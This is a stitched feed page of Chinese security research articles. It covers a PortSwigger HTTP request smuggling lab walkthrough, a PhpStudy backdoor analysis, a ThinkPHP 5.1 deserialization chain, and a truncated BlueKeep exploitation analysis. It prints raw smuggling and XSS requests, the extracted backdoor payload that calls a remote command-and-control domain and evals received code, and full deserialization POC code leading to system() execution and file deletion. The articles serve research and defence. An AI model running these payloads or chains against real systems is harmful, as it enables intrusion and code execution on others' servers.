的值为70,显然下面携带的数据的长度是不够70的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达70时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这样一来,后来的请求的一部分被作为了走私的请求的参数的一部分,然后从响应中表示了出来,我们就能获取到了前端服务器重写的字段。
在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。
5.3 获取其他用户的请求
在上一个实验中,我们通过走私一个不完整的请求来获取前端服务器添加的字段,而字段来自于我们后续发送的请求。换句话说,我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后,其他用户也进行了请求呢?我们寻找的这个POST请求会将获得的数据存储并展示出来呢?这样一来,我们可以走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求了。这可以用来偷取用户的敏感信息,比如账号密码等信息。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
实验的最终目的是获取其他用户的Cookie用来访问其他账号。
我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单,很容易就能发现网站中有一个用户评论的地方。
抓取POST请求并构造数据包
1234567891011121314151617POST / HTTP/1.1Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwaContent-Length: 267Transfer-Encoding: chunked0POST /post/comment HTTP/1.1Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.netCookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwaContent-Length: 400csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=这样其实就足够了,但是有可能是实验环境的问题,我无论怎么等都不会获取到其他用户的请求,反而抓了一堆我自己的请求信息。不过原理就是这样,还是比较容易理解的,最重要的一点是,走私的请求是不完整的。
5.4 利用反射型XSS
我们可以使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
在实验介绍中已经告诉了前端服务器不支持分块编码,目标是执行alert(1)
首先根据UA出现的位置构造Payload
然后构造数据包
1234567891011POST / HTTP/1.1Host: ac801fd21fef85b98012b3a700820000.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 123Transfer-Encoding: chunked0GET /post?postId=5 HTTP/1.1User-Agent: "><script>alert(1)</script>#Content-Type: application/x-www-form-urlencoded此时在浏览器中访问,就会触发弹框
再重新发一下,等一会刷新,可以看到这个实验已经解决了。
5.5 进行缓存投毒
一般来说,前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
实验环境中提供了漏洞利用的辅助服务器。
需要添加两个请求包,一个POST,携带要走私的请求包,另一个是正常的对JS文件发起的GET请求。
以下面这个JS文件为例
1/resources/js/labHeader.js编辑响应服务器
构造POST走私数据包
123456789101112POST / HTTP/1.1Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.netContent-Length: 129Transfer-Encoding: chunked0GET /post/next?postId=3 HTTP/1.1Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.netContent-Length: 10123然后构造GET数据包
1234GET /resources/js/labHeader.js HTTP/1.1Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Connection: closePOST请求和GET请求交替进行,多进行几次,然后访问js文件,响应为缓存的漏洞利用服务器上的文件。
访问主页,成功弹窗,可以知道,js文件成功的被前端服务器进行了缓存。
6. 如何防御
从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?不针对特定的服务器,通用的防御措施大概有三种。
- 禁用代理服务器与后端服务器之间的TCP连接重用。
- 使用HTTP/2协议。
- 前后端使用相同的服务器。
以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。
参考链接
- https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
- https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1048/
没有评论 -
PhpStudy 后门分析
作者:Hcamael@知道创宇404实验室
时间:2019年9月26日背景介绍
2019/09/20,一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈,其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗还挺多的,曾经我还是Web狗的时候也用过几天,不过因为不习惯就卸了。还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时,那些课程中就是使用PhpStudy。在拿到样本后,我就对PhpStudy中的后门进行了一波逆向分析。
后门分析
最近关于讲phpstudy的文章很多,不过我只得到一个信息,后门在php_xmlrpc.dll文件中,有关键词:"eval(%s(%s))"。得知这个信息后,就降低了前期的工作难度。可以直接对该dll文件进行逆向分析。
我拿到的是2018 phpstudy的样本:
MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5
对字符串进行搜索,很容易的搜到了函数:
sub_100031F0
经过对该函数逆向分析,发现该后门可以分为三种形式:
1.触发固定payload:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748v12 = strcmp(**v34, aCompressGzip);if ( !v12 ){v13 = &rce_cmd;v14 = (char *)&unk_1000D66C;v42 = &rce_cmd;v15 = &unk_1000D66C;while ( 1 ){if ( *v15 == '\'' ){v13[v12] = '\\';v42[v12 + 1] = *v14;v12 += 2;v15 += 2;}else{v13[v12++] = *v14;++v15;}v14 += 4;if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )break;v13 = v42;}spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v17 = *(void **)(v16 + 296);*(_DWORD *)(v16 + 296) = &v32;v40 = v17;v18 = setjmp3((int)&v32, 0);v19 = v40;if ( v18 ){v20 = a3;*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;}else{v20 = a3;zend_eval_string(v42, 0, &rce_cmd, a3);}result = 0;*(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;return result;}从
unk_1000D66C
到unk_1000E5C4
为zlib压缩的payload,后门检查请求头,当满足要求后,会获取压缩后的payload,然后执行@eval(gzuncompress(payload))
,把payload解压后再执行,经过提取,该payload为:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle);return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);2.触发固定的payload2
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ){if ( strlen(byte_100127B8) == 0 )sub_10004480(byte_100127B8);if ( strlen(Dest) == 0 )sub_10004380(Dest);if ( strlen(byte_100127EC) == 0 )sub_100044E0(byte_100127EC);v8 = &rce_cmd;v9 = asc_1000D028;v41 = &rce_cmd;v10 = 0;v11 = asc_1000D028;while ( 1 ){if ( *(_DWORD *)v11 == '\'' ){v8[v10] = 92;v41[v10 + 1] = *v9;v10 += 2;v11 += 8;}else{v8[v10++] = *v9;v11 += 4;}v9 += 4;if ( (signed int)v9 >= (signed int)&unk_1000D66C )break;v8 = v41;}spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v23 = *(_DWORD *)(v22 + 296);*(_DWORD *)(v22 + 296) = &v31;v38 = v23;v24 = setjmp3((int)&v31, 0);v25 = v38;if ( v24 ){v26 = a3;*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;}else{v26 = a3;zend_eval_string(v41, 0, &rce_cmd, a3);}*(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;if ( dword_1000D010 < 3600 )dword_1000D010 += 3600;ftime(&dword_10012AA0);}ftime(&dword_10012AB0);if ( dword_10012AA0 < 0 )ftime(&dword_10012AA0);当请求头里面不含有
Accept-Encoding
字段,并且时间戳满足一定条件后,会执行asc_1000D028
到unk_1000D66C
经过压缩的payload,同第一种情况。提取后解压得到该payload:
123456789101112131415@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";$out .= "Host: {$h}\r\n";$out .= "Accept-Encoding: compress,gzip\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);fclose($fp);}3.RCE远程命令执行
123456789101112131415161718192021if ( !strcmp(**v34, aGzipDeflate) ){if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ){v40 = base64_decode(**v37, strlen((const char *)**v37));if ( v40 ){v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v5 = *(_DWORD *)(v4 + 296);*(_DWORD *)(v4 + 296) = &v30;v35 = v5;v6 = setjmp3((int)&v30, 0);v7 = v35;if ( v6 )*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;elsezend_eval_string(v40, 0, &rce_cmd, a3);*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;}}当请求头满足一定条件后,会提取一个请求头字段,进行base64解码,然后
zend_eval_string
执行解码后的exp。研究了后门类型后,再来看看什么情况下会进入该函数触发该后门。查询
sub_100031F0
函数的引用信息发现:12345678910data:1000E5D4 dd 0.data:1000E5D8 dd 0.data:1000E5DC dd offset aXmlrpc ; "xmlrpc".data:1000E5E0 dd offset off_1000B4B0.data:1000E5E4 dd offset sub_10001010.data:1000E5E8 dd 0.data:1000E5EC dd offset sub_100031F0.data:1000E5F0 dd offset sub_10003710.data:1000E5F4 dd offset sub_10001160.data:1000E5F8 dd offset a051 ; "0.51"该函数存在于一个结构体中,该结构体为
_zend_module_entry
结构体:12345678910111213141516171819202122//zend_modules.hstruct _zend_module_entry {unsigned short size; //sizeof(zend_module_entry)unsigned int zend_api; //ZEND_MODULE_API_NOunsigned char zend_debug; //是否开启debugunsigned char zts; //是否开启线程安全const struct _zend_ini_entry *ini_entry;const struct _zend_module_dep *deps;const char *name; //扩展名称,不能重复const struct _zend_function_entry *functions; //扩展提供的内部函数列表int (*module_startup_func)(INIT_FUNC_ARGS); //扩展初始化回调函数,PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定义的函数int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //扩展关闭时回调函数int (*request_startup_func)(INIT_FUNC_ARGS); //请求开始前回调函数int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //请求结束时回调函数void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的扩展信息处理函数const char *version; //版本...unsigned char type;void *handle;int module_number; //扩展的唯一编号const char *build_id;};sub_100031F0
函数为request_startup_func
,该字段表示在请求初始化阶段回调的函数。从这里可以知道,只要php成功加载了存在后门的xmlrpc.dll,那么任何只要构造对应的后门请求头,那么就能触发后门。在Nginx服务器的情况下就算请求一个不存在的路径,也会触发该后门。由于该后门存在于php的ext扩展中,所以不管是nginx还是apache还是IIS介受影响。
修复方案也很简单,把php的
php_xmlrpc.dll
替换成无后门的版本,或者现在直接去官网下载,官网现在的版本经检测都不存后门。虽然又对后门的范围进行了一波研究,发现后门只存在于
php-5.4.45
和php-5.2.17
两个版本中:123$ grep "@eval" ./* -rBinary file ./php/php-5.4.45/ext/php_xmlrpc.dll matchesBinary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches随后又在第三方网站上(https://www.php.cn/xiazai/gongju/89)上下载了phpstudy2016,却发现不存在后门:
12phpStudy20161103.zip压缩包md5:5bf5f785f027bf0c99cd02692cf7c322phpStudy20161103.exe md5码:1a16183868b865d67ebed2fc12e88467之后同事又发了我一份他2018年在官网下载的phpstudy2016,发现同样存在后门,跟2018版的一样,只有两个版本的php存在后门:
1234MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9$ grep "@eval" ./* -rBinary file ./php/php-5.4.45/ext/php_xmlrpc.dll matchesBinary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches查看发现第三方网站上是于2017-02-13更新的phpstudy2016。
ZoomEye数据
通过ZoomEye探测phpstudy可以使用以下dork:
- "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" +"X-Powered-By" -> 89,483
- +"nginx/1.11.5" +"PHP/5.2.17" -> 597 总量共计有90,080个目标现在可能会受到PhpStudy后门的影响。
可能受影响的目标全球分布概况:
可能受影响的目标全国分布概况:
毕竟是国产软件,受影响最多的国家还是中国,其次是美国。对美国受影响的目标进行简单的探查发现基本都是属于IDC机房的机器,猜测都是国人在购买的vps上搭建的PhpStudy。
知道创宇云防御数据
知道创宇404积极防御团队检测到2019/09/24开始,互联网上有人开始对PhpStudy后门中的RCE进行利用。
2019/09/24攻击总数13320,攻击IP数110,被攻击网站数6570,以下是攻击来源TOP 20:
攻击来源 攻击次数 *.164.246.149 2251 *.114.106.254 1829 *.172.65.173 1561 *.186.180.236 1476 *.114.101.79 1355 *.147.108.202 1167 *.140.181.28 726 *.12.203.223 476 *.12.73.12 427 *.12.183.161 297 *.75.78.226 162 *.12.184.173 143 *.190.132.114 130 *.86.46.71 126 *.174.70.149 92 *.167.156.78 91 *.97.179.164 87 *.95.235.26 83 *.140.181.120 80 *.114.105.176 76 2019/09/25攻击总数45012,攻击IP数187,被攻击网站数10898,以下是攻击来源TOP 20:
攻击来源 攻击次数 *.114.101.79 6337 *.241.157.69 5397 *.186.180.236 5173 *.186.174.48 4062 *.37.87.81 3505 *.232.241.237 2946 *.114.102.5 2476 *.162.20.54 2263 *.157.96.89 1502 *.40.8.29 1368 *.94.10.195 1325 *.186.41.2 1317 *.114.102.69 1317 *.114.106.254 734 *.114.100.144 413 *.114.107.73 384 *.91.170.36 326 *.100.96.67 185 *.83.189.86 165 *.21.136.203 149 攻击源国家分布:
国家 数量 中国 34 美国 1 韩国 1 德国 1 省份分布:
省份 数量 云南 7 北京 6 江苏 6 广东 4 香港 4 上海 2 浙江 2 重庆 1 湖北 1 四川 1 攻击payload:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1044/
-
Thinkphp 反序列化利用链深入分析
作者:Ethan@知道创宇404实验室
时间:2019年9月21日前言
今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!
环境搭建
- Thinkphp 5.1.35
- php 7.0.12
漏洞挖掘思路
在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
漏洞分析
首先漏洞的起点为
/thinkphp/library/think/process/pipes/Windows.php
的__destruct()
__destruct()
里面调用了两个函数,我们跟进removeFiles()
函数。123456789101112131415class Windows extends Pipes{private $files = [];....private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}....}这里使用了
$this->files
,而且这里的$files
是可控的。所以存在一个任意文件删除的漏洞。POC可以这样构造:
1234567891011121314151617namespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['需要删除文件的路径'];}}echo base64_encode(serialize(new Windows()));这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
在
removeFiles()
中使用了file_exists
对$filename
进行了处理。我们进入file_exists
函数可以知道,$filename
会被作为字符串处理。而
__toString
当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString
方法。我们全局搜索__toString
方法。我们跟进
\thinkphp\library\think\model\concern\Conversion.php
的Conversion类的第224行,这里调用了一个toJson()
方法。123456.....public function __toString(){return $this->toJson();}.....跟进
toJson()
方法123456....public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}....继续跟进
toArray()
方法123456789101112131415161718public function toArray(){$item = [];$visible = [];$hidden = [];.....// 追加属性(必须定义获取器)if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);$relation->visible($name);}.....我们需要在
toArray()
函数中寻找一个满足$可控变量->方法(参数可控)
的点,首先,这里调用了一个getRelation
方法。我们跟进getRelation()
,它位于Attribute
类中1234567891011....public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}....由于
getRelation()
下面的if
语句为if (!$relation)
,所以这里不用理会,返回空即可。然后调用了getAttr
方法,我们跟进getAttr
方法12345678910public function getAttr($name, &$item = null){try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}......继续跟进
getData
方法123456789public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}通过查看
getData
函数我们可以知道$relation
的值为$this->data[$name]
,需要注意的一点是这里类的定义使用的是Trait
而不是class
。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为trait
。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use
关键字。然后我们需要找到一个子类同时继承了Attribute
类和Conversion
类。我们可以在
\thinkphp\library\think\Model.php
中找到这样一个类12345678abstract class Model implements \JsonSerializable, \ArrayAccess{use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;.......我们梳理一下目前我们需要控制的变量
$files
位于类Windows
$append
位于类Conversion
$data
位于类Attribute
利用链如下:
代码执行点分析
我们现在缺少一个进行代码执行的点,在这个类中需要没有
visible
方法。并且最好存在__call
方法,因为__call
一般会存在__call_user_func
和__call_user_func_array
,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在/thinkphp/library/think/Request.php
,找到一个__call
函数。__call
调用不可访问或不存在的方法时被调用。1234567891011......public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}.....但是这里我们只能控制
$args
,所以这里很难反序列化成功,但是$hook
这里是可控的,所以我们可以构造一个hook数组"visable"=>"method"
,但是array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。在Thinkphp的Request类中还有一个功能
filter
功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter
的方法去执行代码。代码位于第1456行。
1234567891011....private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);}.....但这里的
$value
不可控,所以我们需要找到可以控制$value
的点。12345678910111213141516171819202122....public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}....// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}.....但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用
input
函数的地方。我们找到了param
函数。1234567891011121314public function param($name = '', $default = null, $filter = ''){......if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}这里仍然是不可控的,所以我们继续找调用
param
函数的地方。找到了isAjax
函数12345678910111213public function isAjax($ajax = false){$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}在
isAjax
函数中,我们可以控制$this->config['var_ajax']
,$this->config['var_ajax']
可控就意味着param
函数中的$name
可控。param
函数中的$name
可控就意味着input
函数中的$name
可控。param
函数可以获得$_GET
数组并赋值给$this->param
。再回到
input
函数中1$data = $this->getData($data, $name);$name
的值来自于$this->config['var_ajax']
,我们跟进getData
函数。123456789101112protected function getData(array $data, $name){foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {return;}}return $data;}这里
$data
直接等于$data[$val]
了然后跟进
getFilter
函数1234567891011121314151617protected function getFilter($filter, $default){if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;}这里的
$filter
来自于this->filter
,我们需要定义this->filter
为函数名。我们再来看一下
input
函数,有这么几行代码1234....if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);...这是一个回调函数,跟进
filterValue
函数。1234567891011121314151617private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);} elseif (is_scalar($value)) {if (false !== strpos($filter, '/')) {// 正则过滤if (!preg_match($filter, $value)) {// 匹配不成功返回默认值$value = $default;break;}.......通过分析我们可以发现
filterValue.value
的值为第一个通过GET
请求的值,而filters.key
为GET
请求的键,并且filters.filters
就等于input.filters
的值。我们尝试构造payload,这里需要
namespace
定义命名空间1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?phpnamespace think;abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["ethan"=>["calc.exe","calc"]];$this->data = ["ethan"=>new Request()];}}class Request{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '_ajax',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip' => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files=[new Pivot()];}}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>首先自己构造一个利用点,别问我为什么,这个漏洞就是需要后期开发的时候有利用点,才能触发
我们把payload通过
POST
传过去,然后通过GET
请求获取需要执行的命令执行点如下:
利用链如下:
参考文章
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1040/
-
BlueKeep 漏洞利用分析
作者:SungLin@知道创宇404实验室
时间:2019年9月18日0x00 信道的创建、连接与释放
通道的数据包定义在MCS Connect Inittial PDU with GCC Conference Create Request中,在rdp连接过程如下图所示:
信道创建数据包格式如下:
在MCS Connect Inittial中属于Client Network Data数据段,
MS_T120
将会在连接一开始的时候通过函数termdd!_IcaRegisterVcBin
创建一个虚拟通道id是0x1f大小为0x18的结构体,之后就调用termdd!IcaCreateChannel
开始创建大小为0x8c的信道结构体之后将会与虚拟通道id是0x1f绑定,也就是这个结构体将会被我们利用信道的定义字段主要是名字加上配置,配置主要包括了优先级等
在server对MCS Connect Inittial应答包,将会依次给出对应虚拟通道的id值:
在rdp内核中依次注册的值对应应该是0、1、2、3, MS_T120信道将会通过我们发送的用户虚拟id为3的值再一次绑定,首先通过
termdd!_IcaFindVcBind
找到了刚开始注册的虚拟通道id是0x1f,如下所示:但是在
termdd!_IcaBindChannel
时,却将我们自定义的id值为3与信道结构体再一次绑定在一起了,此信道结构体就是MS_T120同时我们自己的用户id将内部绑定的0x1f给覆盖了
我们往信道MS_T120发送数据主动释放其分配的结构体,其传入虚拟通道id值为3通过函数
termdd!IcaFindChannel
在channeltable中查找返回对应的信道结构体:下图为返回的MS_T120信道结构体,其中0xf77b4300为此信道可调用的函数指针数组:
在这个函数指针数组中主要存放了三个函数,其中对应了
termdd!IcaCloseChannel
、termdd!IcaReadChannel
、termdd!IcaWriteChannel
我们传入释放MS_T120信道的数据如下,字节大小为0x12,主要数据对应了0x02
之后将会进入
nt! IofCompleteRequest
函数,通过apc注入后,将会通过nt! IopCompleteRequest
和nt!IopAbortRequest
进行数据请求的响应,最终在termdd!IcaDispatch
完成我们发送数据的的请求,_BYTE v2
就是我们发送的数据,所以我们发送的数据0x02将会最终调用到IcaClose函数进入IcaCloseChannel函数,最后主动释放掉了MS_T120
信道结构体0x01 通过RDPDR信道进行数据占位
我们先来了解下rdpdr信道,首先rdpdr信道是文件系统虚拟通道扩展,该扩展在名为rdpdr的静态虚拟通道上运行。目的是将访问从服务器重定向到客户端文件系统,其数据头部将会主要是两种标识和PacketId字段组成:
在这里我们刚好利用到了rdpde客户端name响应的数据来进行池内存的占位
在完全建立连接后,将会创建rdpdr信道的结构体
在window7中,在建立完成后接收到server的rdpdr请求后,通过发送客户端name响应数据,将会调用到
termdd! IcaChannelInputInternal
中的ExAllocatePoolWithTag分配非分页池内存,并且其长度是我们可以控制的,基本满足了UAF利用的需求:可是在windowsxp中,直接发送client name request将会导致内存分配失败,直接进入
termdd! _IcaCopyDataToUserBuffer
,并且在Tao Yan and Jin Chen[1]一文中也提到了通过发送client name request在触发一定的条件后将会绕过termdd!_IcaCopyDataToUserBuffer
而进入ExAllocatePoolWithTag分配我们想要的非分页内存,而打破条件如下:我们先来看看最开始信道结构体的创建,我们可以发现从一开始创建信道结构体的时候,将会出现两个标志,而这两个标志是按照地址顺序排列的,而在上面需要打破的条件中,只要channelstruct +0x108的地址存放的是同一个地址,循环就会被break
我们发送一个正常的rdpdr的name request数据包,头部标识是0x7244和0x4e43
经过
termdd!_IcaCopyDataToUserBuffer
之后,将会进入nt!IofCompleteRequest
,在响应请求后进入rdpdr!DrSession::ReadCompletion
,此函数处理逻辑如下,其将会遍历一个链表,从链表中取出对应的vftable函数数组遍历第一次取出第一张函数数组
传入我们发送的数据后,通过函数数组调用
rdpdr!DrSession::RecognizePacket
进行读取判断头部标志是否为(RDPDR_CTYP_CORE)0x7244
接着将会读取函数vftable第二个地址,进行转发
如下图可以看到rdpdr的数据包处理逻辑
rdpdr经过一系列数据包处理后最终进入了我们关心的地方,将会传入channelstruct通过调用
termdd! _IcaQueueReadChannelRequest
进行标志位的处理最初rdpdr的channelstruct的标志位如下
经过函数
termdd! _IcaQueueReadChannelRequest
